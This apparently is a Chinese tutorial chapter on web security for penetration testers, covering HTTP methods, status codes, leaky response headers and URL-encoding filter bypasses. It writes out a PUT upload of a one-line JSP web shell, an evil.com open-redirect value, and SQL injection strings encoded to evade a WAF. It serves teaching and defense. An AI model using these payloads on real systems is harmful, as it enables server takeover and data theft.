Web 应用安全基础¶
1.1 HTTP 协议的安全视角¶
在渗透测试中,HTTP 协议是理解 Web 应用交互的根基。请求方法决定了客户端如何与服务器通信,而服务器对方法的实现往往隐藏着安全漏洞。
核心请求方法的安全关注点
| 方法 | 典型用途 | 测试关注点 |
|---|---|---|
GET |
获取资源 | 参数暴露在 URL 中,易被篡改、记录到日志、通过 Referer 泄露 |
POST |
提交数据 | 请求体参数同样需要防注入校验,不可因不在 URL 中而放松 |
HEAD |
获取响应头 | 常用于探测服务器类型、版本信息,暴露攻击面 |
OPTIONS |
查询支持的方法 | 若返回 PUT/DELETE,说明服务器开放了危险方法 |
PUT |
上传/替换资源 | 高危:配置不当可直接上传恶意文件到服务器 |
DELETE |
删除资源 | 高危:可导致任意文件或数据被删除 |
TRACE |
回显请求 | 可导致 XST 攻击,配合 XSS 窃取 HttpOnly 保护的 Cookie |
CONNECT |
建立隧道 | 可用于建立 TCP 隧道,绕过防火墙进行内网渗透 |
一个经典的 PUT 方法滥用场景:
某开发者为了方便部署,在测试环境开启了 PUT 方法,但上线时忘记关闭。攻击者发现后发送:
PUT /uploads/backdoor.jsp HTTP/1.1
Host: vuln-site.com
Content-Length: 85
<% Runtime.getRuntime().exec(request.getParameter("cmd")); %>
/uploads/backdoor.jsp?cmd=whoami,获得了服务器的命令执行能力。
防御建议:生产环境应在 Web 服务器层明确禁用不必要的 HTTP 方法,仅保留 GET、POST、HEAD。Nginx 中可通过 limit_except 指令实现,Apache 中可通过 mod_rewrite 或配置文件限制。
1.2 HTTP 状态码的渗透测试价值¶
状态码不只是"成功"或"失败"的标记,在渗透测试中,它们是指示漏洞存在与否的重要信号。
状态码的安全解读
| 类别 | 关键状态码 | 渗透测试中的意义 |
|---|---|---|
2xx |
200 OK |
正常响应,需检查返回内容是否包含敏感信息泄露 |
204 No Content |
常见于删除操作成功,但需确认是否真的删除了目标 | |
3xx |
301/302 |
关注 Location 头指向,可能存在开放式重定向漏洞 |
304 |
缓存相关,缓存投毒攻击的切入点 | |
4xx |
400 |
请求语法错误——当你注入单引号时触发,可能暗示注入点 |
401 |
需要认证,可尝试弱口令爆破、默认凭证 | |
403 |
禁止访问,但目录或文件可能存在,只是权限不足,可尝试绕过 | |
404 |
资源不存在,目录爆破时用它来判断文件是否存在 | |
5xx |
500 |
关键信号:SQL 语法错误、命令执行失败、反序列化异常都会触发 |
502/503 |
可能是 DoS 攻击的结果,或代理配置错误 |
实战中的状态码分析案例:
测试某登录接口时,输入正常用户名返回 200,输入 admin' 返回 500 Internal Server Error,输入 admin'--(注释掉后续 SQL)返回 200。这种"正常→报错→又正常"的三段式响应,强烈暗示存在 SQL 注入。500 意味着后端数据库抛出了语法错误异常。
1.3 HTTP 响应头的信息泄露¶
响应头往往会暴露过多的服务器信息,为攻击者提供精确的攻击面地图。
需要关注的响应头字段
| 响应头 | 泄露的信息 | 攻击价值 |
|---|---|---|
Server |
服务器软件及版本 | Apache/2.4.49 → 可搜索 CVE-2021-41773 路径遍历漏洞 |
X-Powered-By |
后端技术栈 | PHP/7.4.3 → 搜索该版本已知漏洞 |
X-AspNet-Version |
.NET 版本 | 旧版本存在已知反序列化漏洞 |
Set-Cookie |
会话标识及属性 | 无 HttpOnly → XSS 可窃取;无 Secure → 明文传输 |
Location |
重定向目标 | ?returnUrl=http://evil.com → 开放式重定向 |
X-Frame-Options |
嵌套策略 | 缺失 → 可被 iframe 嵌套用于点击劫持 |
Content-Security-Policy |
CSP 策略 | 策略宽松 → XSS 绕过可能性增大 |
Access-Control-Allow-Origin |
CORS 策略 | * → 任意网站可跨域读取敏感数据 |
信息收集的实战思路:
看到 Server: Apache/2.4.49 时,不应只停留在"这是 Apache",而应进一步:查该版本是否存在 CVE → 查是否存在解析漏洞配置 → 测试 shell.php.jpg 是否能被解析为 PHP。响应头中的一行信息,可能直接导向一个可利用的漏洞。
1.4 URL 编码与绕过技巧¶
URL 编码不仅是"把特殊字符转一下"那么简单,在安全测试中,它是绕过滤机制的核心手段之一。
为什么需要理解 URL 编码?
Web 应用通常有多层处理:WAF(Web 应用防火墙)→ 反向代理 → Web 服务器 → 应用程序 → 数据库。每一层可能对 URL 进行不同程度的解码。如果 WAF 只解码一次而后端解码两次,这种"解码次数差"就是绕过空间。
常见编码形式
| 原始字符 | 标准 URL 编码 | 双重编码 | Unicode 编码 |
|---|---|---|---|
' |
%27 |
%2527 |
%u0027 |
" |
%22 |
%2522 |
%u0022 |
# |
%23 |
%2523 |
%u0023 |
|
%20 |
%2520 |
%u0020 |
绕过场景示例:
某 WAF 规则拦截了 id=1' or '1'='1。攻击者发送 id=1%27%20or%20%271%27%3D%271,WAF 看到的是 %27(不含危险字符),予以放行;后端解码为 1' or '1'='1,SQL 注入成功执行。
更隐蔽的双重编码:%2527 经过 WAF 一次解码变成 %27(仍然无害),经过后端二次解码变成 '(危险字符激活)。
总结¶
- 1.1 HTTP 协议的安全视角
- 1.2 HTTP 状态码的渗透测试价值
- 1.3 HTTP 响应头的信息泄露
- 1.4 URL 编码与绕过技巧